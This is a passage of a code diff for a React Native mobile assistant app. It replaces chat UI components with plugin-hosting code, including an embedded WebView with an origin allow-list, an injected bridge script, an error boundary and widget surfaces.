+ _handleHostMessage(d);
579
+ if (typeof e.data === 'string') {
580
+ window.dispatchEvent(new MessageEvent('message', { data: d }));
581
+ }
582
+ }
583
+ } catch(_) {}
584
+ });
585
+
586
+ document.addEventListener('message', function(e) {
587
+ try {
588
+ var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
589
+ _handleHostMessage(d);
590
+ window.dispatchEvent(new MessageEvent('message', { data: d }));
591
+ } catch(_) {}
592
+ });
593
+
594
+ _dbg('Bridge JS loaded. Waiting for plugin...');
595
+ true;
596
+ })();
597
+ `;
621
598
  }
622
- function ToolCallsBadge({ calls }) {
623
- const [expanded, setExpanded] = (0, import_react2.useState)(false);
624
- const label = calls.filter((c) => c.name === "send_message_to_skill").map((c) => c.args.skill_name || c.skill).filter(Boolean).join(", ") || "Tool call";
625
- return /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.View, { style: styles4.toolCalls, children: [
626
- /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.Pressable, { style: styles4.toolToggle, onPress: () => setExpanded(!expanded), children: [
627
- /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.toolLabel, children: label }),
628
- /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.toolChevron, children: expanded ? "\u25B2" : "\u25BC" })
629
- ] }),
630
- expanded && calls.map((tc, i) => /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.View, { style: styles4.toolItem, children: [
631
- /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.toolName, children: tc.name }),
632
- tc.skill && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.toolSkill, children: tc.skill })
633
- ] }, i))
634
- ] });
599
+
600
+ // src/plugin/EmbeddedPluginWebView.tsx
601
+ var import_jsx_runtime2 = require("react/jsx-runtime");
602
+ function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }) {
603
+ const [error, setError] = (0, import_react3.useState)(null);
604
+ const token = (0, import_core3.getToken)();
605
+ const tenant = (0, import_core3.getTenant)();
606
+ const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);
607
+ const url = (0, import_plugin_runtime.resolvePluginUrl)(manifest, tenant || void 0);
608
+ const bridgeJS = buildPluginBridgeJS(token || "", tenant || "");
609
+ const computeAllowedHosts = (0, import_react3.useCallback)(() => {
610
+ const hosts = /* @__PURE__ */ new Set();
611
+ const urls = [(0, import_core3.getCoreApiUrl)()];
612
+ if ((0, import_core3.getConfig)().voiceUrl) urls.push((0, import_core3.getVoiceApiUrl)());
613
+ try {
614
+ urls.push(...getPluginWebViewExtraHosts()?.() || []);
615
+ } catch {
616
+ }
617
+ for (const u of urls) {
618
+ try {
619
+ hosts.add(new URL(u).hostname);
620
+ } catch {
621
+ }
622
+ }
623
+ return hosts;
624
+ }, []);
625
+ const isAllowedPluginUrl = (0, import_react3.useCallback)((rawUrl) => {
626
+ if (!rawUrl) return false;
627
+ let parsed;
628
+ try {
629
+ parsed = new URL(rawUrl);
630
+ } catch {
631
+ return false;
632
+ }
633
+ if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return false;
634
+ if (parsed.protocol === "http:") return false;
635
+ return computeAllowedHosts().has(parsed.hostname);
636
+ }, [computeAllowedHosts]);
637
+ const originWhitelist = (0, import_react3.useMemo)(
638
+ () => Array.from(computeAllowedHosts()).map((h) => `https://${h}`),
639
+ [computeAllowedHosts]
640
+ );
641
+ if (error) {
642
+ return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.View, { style: styles2.center, children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.Text, { style: styles2.errorText, children: error }) });
643
+ }
644
+ return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.View, { style: styles2.container, children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
645
+ import_react_native_webview.WebView,
646
+ {
647
+ ref: webViewRef,
648
+ source: { uri: url },
649
+ style: styles2.webview,
650
+ javaScriptEnabled: true,
651
+ domStorageEnabled: true,
652
+ allowsInlineMediaPlayback: true,
653
+ mediaPlaybackRequiresUserAction: false,
654
+ mixedContentMode: "never",
655
+ originWhitelist,
656
+ allowsBackForwardNavigationGestures: false,
657
+ setSupportMultipleWindows: false,
658
+ javaScriptCanOpenWindowsAutomatically: false,
659
+ onShouldStartLoadWithRequest: (req) => {
660
+ if (!isAllowedPluginUrl(req.url)) {
661
+ console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
662
+ return false;
663
+ }
664
+ return true;
665
+ },
666
+ injectedJavaScriptBeforeContentLoaded: bridgeJS,
667
+ onMessage: handleMessage,
668
+ onLoad: () => {
669
+ setTimeout(sendInit, 100);
670
+ setTimeout(sendInit, 500);
671
+ setTimeout(sendInit, 1200);
672
+ },
673
+ onError: (syntheticEvent) => {
674
+ const { nativeEvent } = syntheticEvent;
675
+ console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
676
+ setError(`WebView error: ${nativeEvent.description}`);
677
+ },
678
+ onHttpError: (syntheticEvent) => {
679
+ const { nativeEvent } = syntheticEvent;
680
+ console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
681
+ if (nativeEvent.statusCode >= 400) {
682
+ setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
683
+ }
684
+ },
685
+ startInLoadingState: true,
686
+ renderLoading: () => /* @__PURE__ */ (0, import_jsx_runtime2.jsxs)(import_react_native2.View, { style: styles2.webviewLoading, children: [
687
+ /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.ActivityIndicator, { size: "small", color: import_core3.ada.orange }),
688
+ /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.Text, { style: styles2.loadingText, children: "Loading plugin..." })
689
+ ] }),
690
+ ...import_react_native2.Platform.OS === "ios" ? { bounces: false } : {}
691
+ }
692
+ ) });
635
693
  }
636
- var styles4 = import_react_native4.StyleSheet.create({
637
- row: {
638
- flexDirection: "row",
639
- alignItems: "flex-end",
640
- marginBottom: 12,
641
- paddingHorizontal: 12,
642
- gap: 8
643
- },
644
- rowUser: {
645
- justifyContent: "flex-end"
694
+ var styles2 = import_react_native2.StyleSheet.create({
695
+ container: {
696
+ flex: 1,
697
+ backgroundColor: import_core3.ada.paper
646
698
  },
647
- avatarOrb: {
648
- width: 28,
649
- height: 28,
699
+ center: {
700
+ flex: 1,
650
701
  justifyContent: "center",
651
- alignItems: "center"
652
- },
653
- avatarSpacer: {
654
- width: 28,
655
- height: 28
656
- },
657
- bubble: {
658
- maxWidth: "78%",
659
- backgroundColor: import_core4.ada.botBubble,
660
- borderWidth: 1,
661
- borderColor: import_core4.ada.botBubbleBorder,
662
- borderRadius: import_core4.borderRadius.xl,
663
- paddingHorizontal: 16,
664
- paddingVertical: 12
665
- },
666
- bubbleUser: {
667
- backgroundColor: import_core4.ada.userBubble,
668
- borderColor: "transparent"
669
- },
670
- bubbleSystem: {
671
- backgroundColor: import_core4.ada.orangeSoft,
672
- borderColor: import_core4.ada.orange,
673
- maxWidth: "90%"
674
- },
675
- bubbleNotification: {
676
- backgroundColor: import_core4.ada.orangeSoft,
677
- borderColor: "rgba(255, 122, 40, 0.35)",
678
- borderRadius: import_core4.borderRadius.lg,
679
- maxWidth: "90%"
680
- },
681
- notificationLeftStripe: {
682
- width: 3,
683
- alignSelf: "stretch",
684
- backgroundColor: import_core4.ada.orange,
685
- borderRadius: 2,
686
- marginRight: 4
687
- },
688
- notificationHeader: {
689
- flexDirection: "row",
690
702
  alignItems: "center",
691
- gap: 6,
692
- marginBottom: 6
693
- },
694
- notificationHeaderIcon: {
695
- fontSize: 12
696
- },
697
- notificationHeaderText: {
698
- color: import_core4.ada.orangeDeep,
699
- fontSize: 11,
700
- fontWeight: "700",
701
- letterSpacing: 0.6,
702
- textTransform: "uppercase",
703
- fontFamily: fontFam3
704
- },
705
- userText: {
706
- color: import_core4.ada.userBubbleText,
707
- fontSize: import_core4.fontSize.md,
708
- lineHeight: 22,
709
- fontFamily: fontFam3
703
+ backgroundColor: import_core3.ada.paper,
704
+ paddingHorizontal: 32
710
705
  },
711
- timeText: {
712
- fontSize: 11,
713
- color: import_core4.ada.inkMuted,
714
- alignSelf: "flex-end",
715
- marginTop: 4,
716
- fontFamily: fontFam3
706
+ errorText: {
707
+ color: "#C15545",
708
+ fontSize: 16,
709
+ textAlign: "center"
717
710
  },
718
- timeTextUser: {
719
- color: "rgba(250,246,238,0.55)"
711
+ webview: {
712
+ flex: 1,
713
+ backgroundColor: import_core3.ada.paper
720
714
  },
721
- attachments: {
722
- flexDirection: "row",
723
- flexWrap: "wrap",
724
- gap: 6,
725
- marginBottom: 8
715
+ webviewLoading: {
716
+ position: "absolute",
717
+ top: 0,
718
+ left: 0,
719
+ right: 0,
720
+ bottom: 0,
721
+ justifyContent: "center",
722
+ alignItems: "center",
723
+ backgroundColor: import_core3.ada.paper,
724
+ gap: 12
726
725
  },
727
- attachmentImage: {
728
- width: 120,
729
- height: 90,
730
- borderRadius: 8
731
- },
732
- attachmentFile: {
733
- backgroundColor: "rgba(255,255,255,0.15)",
734
- borderRadius: 8,
735
- paddingHorizontal: 10,
736
- paddingVertical: 6
737
- },
738
- attachmentFileName: {
739
- color: "rgba(255,255,255,0.8)",
740
- fontSize: 11,
741
- maxWidth: 100
742
- },
743
- copiedBadge: {
744
- position: "absolute",
745
- top: 6,
746
- right: 6,
747
- backgroundColor: "#5A8A5C",
748
- paddingHorizontal: 8,
749
- paddingVertical: 2,
750
- borderRadius: import_core4.borderRadius.sm
751
- },
752
- copiedText: {
753
- color: "#fff",
754
- fontSize: import_core4.fontSize.xs,
755
- fontWeight: "600"
756
- },
757
- toolCalls: {
758
- marginTop: 8,
759
- borderTopWidth: 1,
760
- borderTopColor: import_core4.ada.border,
761
- paddingTop: 6
762
- },
763
- toolToggle: {
764
- flexDirection: "row",
765
- alignItems: "center",
766
- gap: 6
767
- },
768
- toolLabel: {
769
- color: import_core4.ada.inkSoft,
770
- fontSize: import_core4.fontSize.xs,
771
- fontWeight: "500"
772
- },
773
- toolChevron: {
774
- color: import_core4.ada.inkMuted,
775
- fontSize: 8
776
- },
777
- toolItem: {
778
- marginTop: 4,
779
- paddingLeft: 8
780
- },
781
- toolName: {
782
- color: import_core4.ada.inkSoft,
783
- fontSize: import_core4.fontSize.xs,
784
- fontFamily: "monospace"
785
- },
786
- toolSkill: {
787
- color: import_core4.ada.orangeDeep,
788
- fontSize: import_core4.fontSize.xs
789
- }
790
- });
791
- var markdownStyles = import_react_native4.StyleSheet.create({
792
- body: {
793
- color: import_core4.ada.botBubbleText,
794
- fontSize: import_core4.fontSize.md,
795
- lineHeight: 22,
796
- fontFamily: fontFam3
797
- },
798
- paragraph: {
799
- marginTop: 0,
800
- marginBottom: 4
801
- },
802
- strong: {
803
- fontWeight: "700",
804
- color: import_core4.ada.botBubbleText
805
- },
806
- em: {
807
- fontStyle: "italic"
808
- },
809
- code_inline: {
810
- backgroundColor: import_core4.ada.paperDeep,
811
- color: import_core4.ada.orangeDeep,
812
- paddingHorizontal: 5,
813
- paddingVertical: 1,
814
- borderRadius: 4,
815
- fontFamily: "monospace",
816
- fontSize: import_core4.fontSize.sm
817
- },
818
- fence: {
819
- backgroundColor: import_core4.ada.paperDeep,
820
- padding: 10,
821
- borderRadius: 10
822
- },
823
- fenceText: {
824
- fontFamily: "monospace",
825
- fontSize: import_core4.fontSize.sm,
826
- color: import_core4.ada.ink
827
- },
828
- link: {
829
- color: import_core4.ada.orangeDeep
830
- },
831
- list_item: {
832
- color: import_core4.ada.botBubbleText
833
- },
834
- bullet_list: {
835
- marginVertical: 4
726
+ loadingText: {
727
+ color: import_core3.ada.inkSoft,
728
+ fontSize: 14
836
729
  }
837
730
  });
838
731
 
839
- // src/chat/TypingIndicator.tsx
840
- var import_react_native5 = require("react-native");
841
- var import_plugin_runtime3 = require("@ateam-ai-mobile/plugin-runtime");
842
- var import_jsx_runtime5 = require("react/jsx-runtime");
843
- function TypingIndicator() {
844
- return /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_react_native5.View, { style: styles5.row, children: /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_plugin_runtime3.AdaOrb, { size: 32, state: "thinking" }) });
845
- }
846
- var styles5 = import_react_native5.StyleSheet.create({
847
- row: {
848
- flexDirection: "row",
849
- alignItems: "center",
850
- marginBottom: 12,
851
- paddingHorizontal: 16,
852
- paddingVertical: 4
732
+ // src/plugin/Plugin.tsx
733
+ var import_jsx_runtime3 = require("react/jsx-runtime");
734
+ var PluginErrorBoundary = class extends import_react4.default.Component {
735
+ constructor() {
736
+ super(...arguments);
737
+ this.state = { hasError: false, error: null };
853
738
  }
854
- });
855
-
856
- // src/chat/ChatInput.tsx
857
- var import_react3 = require("react");
858
- var import_react_native6 = require("react-native");
859
- var import_react_native_svg = __toESM(require("react-native-svg"));
860
- var import_core5 = require("@ateam-ai-mobile/core");
861
- var import_plugin_runtime4 = require("@ateam-ai-mobile/plugin-runtime");
862
- var import_jsx_runtime6 = require("react/jsx-runtime");
863
- function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }) {
864
- const [text, setText] = (0, import_react3.useState)("");
865
- const [height, setHeight] = (0, import_react3.useState)(40);
866
- const inputRef = (0, import_react3.useRef)(null);
867
- (0, import_react3.useEffect)(() => {
868
- if (prefill) {
869
- setText(prefill);
870
- inputRef.current?.focus();
739
+ static getDerivedStateFromError(error) {
740
+ return { hasError: true, error };
741
+ }
742
+ componentDidCatch(error, info) {
743
+ console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);
744
+ }
745
+ render() {
746
+ if (this.state.hasError) {
747
+ return /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_react_native3.View, { style: styles3.error, children: [
748
+ /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.errorTitle, children: "Plugin Error" }),
749
+ /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.errorMessage, children: this.state.error?.message || "An unexpected error occurred" }),
750
+ /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
751
+ import_react_native3.Pressable,
752
+ {
753
+ style: styles3.retryBtn,
754
+ onPress: () => this.setState({ hasError: false, error: null }),
755
+ children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.retryText, children: "Retry" })
756
+ }
757
+ )
758
+ ] });
871
759
  }
872
- }, [prefill]);
873
- const handleSend = (0, import_react3.useCallback)(() => {
874
- const trimmed = text.trim();
875
- if (!trimmed) return;
876
- (0, import_plugin_runtime4.getHaptics)()?.impact("light");
877
- onSend(trimmed);
878
- setText("");
879
- setHeight(40);
880
- }, [text, loading, onSend]);
881
- const canSend = text.trim().length > 0;
882
- return /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native6.View, { style: styles6.dock, children: /* @__PURE__ */ (0, import_jsx_runtime6.jsxs)(import_react_native6.View, { style: styles6.inputRow, children: [
883
- onCallStart && /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native6.Pressable, { style: styles6.callBtn, onPress: onCallStart, children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native_svg.default, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: import_core5.colors.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native_svg.Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
884
- /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(
885
- import_react_native6.TextInput,
886
- {
887
- ref: inputRef,
888
- style: [styles6.input, { height: Math.min(Math.max(40, height), 120) }],
889
- value: text,
890
- onChangeText: setText,
891
- onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
892
- placeholder: placeholder || "Message A-Team...",
893
- placeholderTextColor: import_core5.colors.light.textMuted,
894
- multiline: true,
895
- returnKeyType: "default",
896
- blurOnSubmit: false,
897
- onSubmitEditing: () => {
898
- if (import_react_native6.Platform.OS === "web") handleSend();
899
- }
900
- }
901
- ),
902
- /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(
903
- import_react_native6.Pressable,
904
- {
905
- style: [styles6.sendBtn, canSend && styles6.sendBtnActive],
906
- onPress: handleSend,
907
- disabled: !canSend,
908
- children: /* @__PURE__ */ (0, import_jsx_runtime6.jsxs)(import_react_native_svg.default, { width: 18, height: 18, viewBox: "0 0 24 24", fill: "none", stroke: canSend ? "#fff" : import_core5.colors.light.textMuted, strokeWidth: 2, children: [
909
- /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native_svg.Line, { x1: "22", y1: "2", x2: "11", y2: "13" }),
910
- /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native_svg.Polygon, { points: "22 2 15 22 11 13 2 9 22 2" })
911
- ] })
912
- }
913
- )
914
- ] }) });
760
+ return this.props.children;
761
+ }
762
+ };
763
+ function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
764
+ const { plugin, loading, error, bundleMissing } = (0, import_plugin_runtime2.usePlugin)(id, manifest);
765
+ const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
766
+ const bridge = (0, import_plugin_runtime2.useNativeBridge)(id, connectorId, commandBufferRef);
767
+ const declaredCaps = manifest?.native;
768
+ const native = (0, import_react4.useMemo)(() => (0, import_plugin_runtime2.gatePluginNative)((0, import_plugin_runtime2.getPluginNative)(), declaredCaps), [declaredCaps]);
769
+ const theme = (0, import_plugin_runtime2.usePluginTheme)();
770
+ const user = (0, import_core4.getUser)();
771
+ const context = (0, import_react4.useMemo)(() => ({
772
+ tenant: (0, import_core4.getTenant)(),
773
+ pluginId: id,
774
+ connectorId,
775
+ user: user ? { id: user.actorId || "", name: user.name || "", roles: user.roles || [] } : void 0
776
+ }), [id, connectorId, user?.actorId, user?.name, user?.roles]);
777
+ const iframeUrl = manifest?.render?.iframeUrl;
778
+ if (bundleMissing && iframeUrl) {
779
+ return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
780
+ }
781
+ if (loading) {
782
+ return /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_react_native3.View, { style: styles3.center, children: [
783
+ /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.ActivityIndicator, { size: "small", color: import_core4.colors.dark.accent }),
784
+ /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.loadingText, children: "Loading plugin..." })
785
+ ] });
786
+ }
787
+ if (error || !plugin) {
788
+ return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.View, { style: styles3.center, children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.errorMessage, children: error || "Plugin not found" }) });
789
+ }
790
+ const { Component } = plugin;
791
+ return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(Component, { bridge, native, theme, context, props: engineProps }) });
915
792
  }
916
- var styles6 = import_react_native6.StyleSheet.create({
917
- dock: {
918
- paddingHorizontal: 12,
919
- paddingVertical: 8,
920
- backgroundColor: import_core5.colors.light.bgPrimary,
921
- borderTopWidth: 0.5,
922
- borderTopColor: import_core5.colors.light.border
793
+ var styles3 = import_react_native3.StyleSheet.create({
794
+ center: {
795
+ flex: 1,
796
+ justifyContent: "center",
797
+ alignItems: "center",
798
+ backgroundColor: import_core4.colors.dark.bgPrimary,
799
+ paddingHorizontal: 32,
800
+ gap: 12
923
801
  },
924
- inputRow: {
925
- flexDirection: "row",
926
- alignItems: "flex-end",
927
- backgroundColor: import_core5.colors.light.bgInput,
928
- borderRadius: import_core5.borderRadius.xl,
929
- borderWidth: 1,
930
- borderColor: import_core5.colors.light.border,
931
- paddingHorizontal: 4,
932
- paddingVertical: 4,
933
- gap: 4
802
+ loadingText: {
803
+ color: import_core4.colors.dark.textSecondary,
804
+ fontSize: 14
934
805
  },
935
- callBtn: {
936
- width: 36,
937
- height: 36,
938
- borderRadius: 18,
806
+ error: {
807
+ flex: 1,
939
808
  justifyContent: "center",
940
- alignItems: "center"
809
+ alignItems: "center",
810
+ backgroundColor: import_core4.colors.dark.bgPrimary,
811
+ paddingHorizontal: 32,
812
+ gap: 8
941
813
  },
942
- input: {
943
- flex: 1,
814
+ errorTitle: {
815
+ color: import_core4.colors.dark.red,
944
816
  fontSize: 16,
945
- color: import_core5.colors.light.textPrimary,
946
- paddingHorizontal: 8,
947
- paddingVertical: 8,
948
- maxHeight: 120
817
+ fontWeight: "600"
949
818
  },
950
- sendBtn: {
951
- width: 36,
952
- height: 36,
953
- borderRadius: 18,
954
- justifyContent: "center",
955
- alignItems: "center",
956
- backgroundColor: import_core5.colors.light.bgTertiary
819
+ errorMessage: {
820
+ color: import_core4.colors.dark.textSecondary,
821
+ fontSize: 14,
822
+ textAlign: "center"
957
823
  },
958
- sendBtnActive: {
959
- backgroundColor: import_core5.colors.light.accent
824
+ retryBtn: {
825
+ marginTop: 12,
826
+ paddingHorizontal: 20,
827
+ paddingVertical: 10,
828
+ backgroundColor: import_core4.colors.dark.accentSoft,
829
+ borderRadius: 8
830
+ },
831
+ retryText: {
832
+ color: import_core4.colors.dark.accent,
833
+ fontSize: 14,
834
+ fontWeight: "600"
960
835
  }
961
836
  });
962
837
 
963
- // src/Lightbox.tsx
964
- var import_react_native7 = require("react-native");
965
- var import_core6 = require("@ateam-ai-mobile/core");
966
- var import_jsx_runtime7 = require("react/jsx-runtime");
967
- function Lightbox() {
968
- const uri = useLightboxStore((s) => s.uri);
969
- const hide = useLightboxStore((s) => s.hide);
970
- if (!uri) return null;
971
- return /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native7.Modal, { visible: true, transparent: true, animationType: "fade", onRequestClose: hide, children: /* @__PURE__ */ (0, import_jsx_runtime7.jsxs)(import_react_native7.Pressable, { style: styles7.backdrop, onPress: hide, children: [
972
- /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(
973
- import_react_native7.Image,
838
+ // src/plugin/PluginSurface.tsx
839
+ var import_jsx_runtime4 = require("react/jsx-runtime");
840
+ function PluginSurface({ pluginId, surface, dismiss, props }) {
841
+ const [manifest, setManifest] = (0, import_react5.useState)(null);
842
+ const [error, setError] = (0, import_react5.useState)(null);
843
+ (0, import_react5.useEffect)(() => {
844
+ let cancelled = false;
845
+ (0, import_plugin_runtime3.getPlugin)(pluginId).then((m) => {
846
+ if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
847
+ }).catch((e) => {
848
+ if (!cancelled) setError(e?.message || "Failed to load");
849
+ });
850
+ return () => {
851
+ cancelled = true;
852
+ };
853
+ }, [pluginId]);
854
+ const body = manifest ? /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.ActivityIndicator, { color: import_core5.ada.orange }) });
855
+ if (surface.type === "fullscreen") {
856
+ return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
857
+ import_plugin_runtime3.SurfaceFullscreen,
974
858
  {
975
- source: {
976
- uri,
977
- ...uri.startsWith("http") ? {
978
- headers: { Authorization: `Bearer ${(0, import_core6.getConfig)().tokenProvider.getToken()}` }
979
- } : {}
980
- },
981
- style: styles7.image,
982
- resizeMode: "contain"
859
+ visible: true,
860
+ onClose: dismiss,
861
+ status: surface.title,
862
+ showWordmark: true,
863
+ closeIcon: "x",
864
+ closeLabel: "Close",
865
+ children: body
983
866
  }
984
- ),
985
- /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native7.View, { style: styles7.closeHint, children: /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native7.Text, { style: styles7.closeHintText, children: "Tap to close" }) })
986
- ] }) });
987
- }
988
- var styles7 = import_react_native7.StyleSheet.create({
989
- backdrop: {
990
- flex: 1,
991
- backgroundColor: "rgba(0,0,0,0.92)",
992
- justifyContent: "center"
993
- },
994
- image: {
995
- width: "100%",
996
- height: "85%"
997
- },
998
- closeHint: {
999
- position: "absolute",
1000
- bottom: 40,
1001
- alignSelf: "center"
1002
- },
1003
- closeHintText: {
1004
- color: "rgba(255,255,255,0.6)",
1005
- fontSize: 13
867
+ );
1006
868
  }
1007
- });
869
+ return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
870
+ import_plugin_runtime3.SurfaceDrawer,
871
+ {
872
+ visible: true,
873
+ onClose: dismiss,
874
+ title: surface.title || pluginId,
875
+ subtitle: surface.subtitle,
876
+ privacy: !!surface.privacy,
877
+ children: body
878
+ }
879
+ );
880
+ }
1008
881
 
1009
- // src/AdasChatScreen.tsx
1010
- var import_jsx_runtime8 = require("react/jsx-runtime");
1011
- function isSameDay2(a, b) {
1012
- return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
882
+ // src/plugin/WidgetHost.tsx
883
+ var import_jsx_runtime5 = require("react/jsx-runtime");
884
+ var useWidgetHostStore = (0, import_zustand.create)((set) => ({
885
+ pluginId: null,
886
+ props: void 0,
887
+ open: (pluginId, props) => set({ pluginId, props }),
888
+ close: () => set({ pluginId: null, props: void 0 })
889
+ }));
890
+ function openWidget(pluginId, props) {
891
+ const surfaces = import_plugin_runtime4.useSurfaceStore.getState();
892
+ if (surfaces.manifests[pluginId]) {
893
+ surfaces.show(pluginId, props);
894
+ return;
895
+ }
896
+ useWidgetHostStore.getState().open(pluginId, props);
1013
897
  }
1014
- function AdasChatScreen({
1015
- onCallStart,
1016
- placeholder,
1017
- footerAccessory,
1018
- withLightbox = true
1019
- }) {
1020
- const messages = (0, import_core7.useChatStore)((s) => s.messages);
1021
- const loading = (0, import_core7.useChatStore)((s) => s.loading);
1022
- const conversationLoaded = (0, import_core7.useChatStore)((s) => s.conversationLoaded);
1023
- const loadConversation = (0, import_core7.useChatStore)((s) => s.loadConversation);
1024
- const sendMessage = (0, import_core7.useChatStore)((s) => s.sendMessage);
1025
- const listRef = (0, import_react4.useRef)(null);
1026
- const [refreshing, setRefreshing] = (0, import_react4.useState)(false);
1027
- const [prefill, setPrefill] = (0, import_react4.useState)("");
1028
- (0, import_react4.useEffect)(() => {
1029
- if (!conversationLoaded) loadConversation();
1030
- }, [conversationLoaded, loadConversation]);
1031
- (0, import_react4.useEffect)(() => {
1032
- const unsub = import_core7.pluginCommandEmitter.on("prepare-chat-message", ({ text }) => {
1033
- if (text) setPrefill(text);
898
+ function WidgetHost() {
899
+ const pluginId = useWidgetHostStore((s) => s.pluginId);
900
+ const props = useWidgetHostStore((s) => s.props);
901
+ const close = useWidgetHostStore((s) => s.close);
902
+ (0, import_react6.useEffect)(() => {
903
+ return import_core6.pluginCommandEmitter.on("focus-plugin", (data) => {
904
+ if (data?.pluginId) openWidget(String(data.pluginId), data.props);
1034
905
  });
1035
- return unsub;
1036
906
  }, []);
1037
- const useInverted = import_react_native8.Platform.OS !== "web";
1038
- const listData = (0, import_react4.useMemo)(
1039
- () => useInverted ? [...messages].reverse() : messages,
1040
- [messages, useInverted]
907
+ if (!pluginId) return null;
908
+ return /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(
909
+ PluginSurface,
910
+ {
911
+ pluginId,
912
+ surface: { type: "fullscreen" },
913
+ dismiss: close,
914
+ props
915
+ },
916
+ pluginId
1041
917
  );
1042
- const scrollToLatest = (0, import_react4.useCallback)((animated) => {
1043
- if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });
1044
- else listRef.current?.scrollToEnd({ animated });
1045
- }, [useInverted]);
1046
- const handleSend = (0, import_react4.useCallback)((text) => {
1047
- setPrefill("");
1048
- sendMessage(text);
1049
- scrollToLatest(true);
1050
- }, [sendMessage, scrollToLatest]);
1051
- const handleRefresh = (0, import_react4.useCallback)(async () => {
1052
- setRefreshing(true);
1053
- try {
1054
- await loadConversation();
1055
- } catch {
918
+ }
919
+
920
+ // src/chat/UIActionsRow.tsx
921
+ var import_jsx_runtime6 = require("react/jsx-runtime");
922
+ var fontFam = import_react_native5.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
923
+ var ICON_MAP = {
924
+ timer: "\u23F1",
925
+ memory: "\u{1F9E0}",
926
+ calendar: "\u{1F4C5}",
927
+ home: "\u{1F3E0}",
928
+ bell: "\u{1F514}",
929
+ star: "\u2B50",
930
+ bolt: "\u26A1"
931
+ };
932
+ function UIActionsRow({ actions }) {
933
+ if (!Array.isArray(actions) || actions.length === 0) return null;
934
+ const handlePress = (a) => {
935
+ (0, import_plugin_runtime5.getHaptics)()?.selection();
936
+ const id = a.pluginId || a.target;
